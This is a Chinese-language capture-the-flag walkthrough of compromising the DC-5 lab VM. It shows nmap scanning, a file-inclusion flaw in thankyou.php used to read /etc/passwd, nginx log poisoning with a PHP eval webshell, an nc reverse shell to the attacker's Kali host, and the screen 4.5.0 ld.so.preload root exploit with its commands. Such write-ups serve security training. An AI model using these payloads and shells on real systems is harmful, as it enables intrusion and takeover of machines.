CD系列目前有9个
时间有限就选一个来测试,并记录一下
首先准备环境:
kali2021,CD-5,火狐浏览器
kali:192.168.10.20 CD-5:192.168.10.141
第一步 布置环境
解压CD-5,在VMware上打开并且选择NAT模式
第二部 开始步骤扫描
靶机上面一来就要输入账号密码,但是各位想一想,我们是干什么的,如果这些都知道那还需要渗透吗?所以其实我也不知道。
不知道的时候该干嘛?那还用问获取信息啊!
先来个nmap扫描,注意需要保证kali和靶机在同一网段;这里模拟的是内网渗透;
补充说明:-sP是快速扫描,-sV精准扫描
nmap -sP 192.168.10.0/24
先对整个网段的所有ip进行扫扫描;
┌──(root💀kali)-[~]
└─# nmap -sP 192.168.10.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-10 18:44 CST
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 53.14% done; ETC: 18:44 (0:00:01 remaining)
Nmap scan report for 192.168.10.1
Host is up (0.00075s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.10.2
Host is up (0.00028s latency).
MAC Address: 00:50:56:E5:FD:ED (VMware)
Nmap scan report for 192.168.10.141
Host is up (0.00018s latency).
MAC Address: 00:0C:29:94:21:6A (VMware)
Nmap scan report for 192.168.10.254
Host is up (0.00022s latency).
MAC Address: 00:50:56:E9:B5:07 (VMware)
Nmap scan report for 192.168.10.20
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.09 seconds
最终所有的ip都让我感到熟悉,只有一个例外,那就是192.168.10.141
为什么,因为我都没有设置过这个ip地址它是哪来的呢,我有充分的理由怀疑它就是我的目标
那还说什么进入端口扫描:
nmap -sV 192.168.10.141
得出结果:
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-10 18:44 CST
Nmap scan report for 192.168.10.141
Host is up (0.00047s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 00:0C:29:94:21:6A (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds
重上面可以得出80端口哦和111端口开启的:
有网络基础的都知道80端口是干嘛的?网站啊那就直接进入网站
http://192.168.10.141
第三部 漏洞挖掘
拿到一个网站先干嘛?
我也不知道你们干嘛,反正我喜欢乱点,这里点一下,哪里点一下。动不动在刷新一下。
这就是web初始界面。
开始我们的瞎点;
最后在Contact里面找到了一个表单来都来了肯定要提交一手;
提交完之后
平平无奇;没了。。。。
等等刷新一下。。。
哟~牛马这里有疑似漏洞
这个数值居然会变。。。
第三步 开始渗透
掏出我那20米长的御剑扫描一手
footer.php这是什么翻译一下“底页”啊~
点进去一看:
呀那是不是怀疑一下它的调用方式,它是怎么调用到thankyou.php上的呢
抱着尝试的心
file:file的作用就是调用本地目录里的文件
http://192.168.10.141/thankyou.php?file=footer.php
页面正常显示那去掉footer.php
http://192.168.10.141/thankyou.php?file=
注意没有底部的....@2019没了
这说明它的文件是直接通过file调用
那开始吧一切明了:
http://192.168.10.141/thankyou.php?file=/etc/passwd
这就获取到对方passwd文件了里面的类容我就不解释了
如果替换成nginx的的日子文件那么就会出现nginx的日志
这里可能有些人会问为啥是nginx不是tomcat或者其他,因为在上面端口扫描的时候顺便就把端口上运行的应用和版本也扫描出来了,可以往上翻nmap -sV 192.168.10.141那一个,在80端口的最后面有些nginx 1.6.2
http://192.168.10.141/thankyou.php?file=/var/log/nginx/error.log
并得到结果:
都到这一步了重要的就来了,上传一句话木马!
http://192.168.10.136/thankyou.php?file=<?php @eval($_POST["a123"]);?>
这里没有任何回显~
原理:我们知道文件里面是肯定不包含一句话木马文件的所以一定会报错,我们要的就是它报错
那样就可以把一句话木马存到日志文件里面;
当我准备用蚁剑去连接的时候发现连不上看了一下nginx日志才发现我丢~我的一句话木马被编码了
不要慌掏出我们的BurpSuite抓包
原理:我们明显看得出来后面'<'变成%3c,空格变成%20,双冒号变成%22...像这样的编码都是url编码,所以我们通过抓包把上传到服务器的数据修改一下就ok了
然后在把一句话木马手动放上去
吃一智长一智,先看日志
进入nginx日志文件查看
这一次没有被编译
第四步 连接
开始连接:
这里我用的是“蚁剑”
连接上可以看见文件目录
打开虚拟终端看一下:
权限较低,进入下一步提权
第五步 提权
提权为了方便操作就反弹到kali上面去操作
1,先开启kali连接
┌──(root💀kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
2,终端发起连接请求
蚁剑上输入的192.168.10.20为我的kali的IP,4444为请求的端口
nc -e /bin/bash 192.168.10.20 4444
3,输入后在kali上看见connect to就表示成功
回到kali上输入
python -c 'import pty;pty.spawn("/bin/bash")'
连接成功!图2是第二步
图1
图2
找到具有SUID的文件,用来提权。
find / -perm -u=s -type f 2>/dev/null
打开一个新的kali终端寻找screen-4.5.0的漏洞
┌──(root💀kali)-[~]
└─# searchsploit screen 4.5.0
复制41154到当前目录
searchsploit -m 41154
因为复制的脚本没办法直接执行,所以需要将其拆分为多个文件处理。在kali的root文件夹下新建文件,命名为libhax.c。将41154.sh脚本中的第一部分内容复制到libhax.c文件
执行gcc -fPIC -shared -ldl -o libhax.so libhax.c用来生成动态文件库libhax.c
gcc -fPIC -shared -ldl -o libhax.so libhax.c
生成完成后在新建一个rootshell.c文件将将41154.sh部分内容复制进去
输入命令,用来生成一个可以执行的二进制文件.
gcc -o rootshell rootshell.c
新建一个dc5.sh
将41154.sh脚本中的最后一部分内容,复制到dc5.sh文件中
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
然后在wq(保存)之前先输入“:set ff=unix”+回车在WQ
第六步 提权(2)
将前面在kali上面做好的文件放到win上面任意找的到的位置
打开蚁剑找到tmp目录上传文件
上传之后需要重新命名删除掉前面的路径名
在kali反弹shell窗口中查看上传的文件
给dc5.sh添加可执行权限
chmod a+x dc5.sh
运行脚本
./dc5.sh
到这里我们就是算基本大功告成接下来就是验证了
查看自己的权限获取类容夺旗
图中可见我们已经获取root权限,系统已经唯我掌控,进入root目录 this is the flag nice work(这国旗做的不错)!!夺旗成功!!~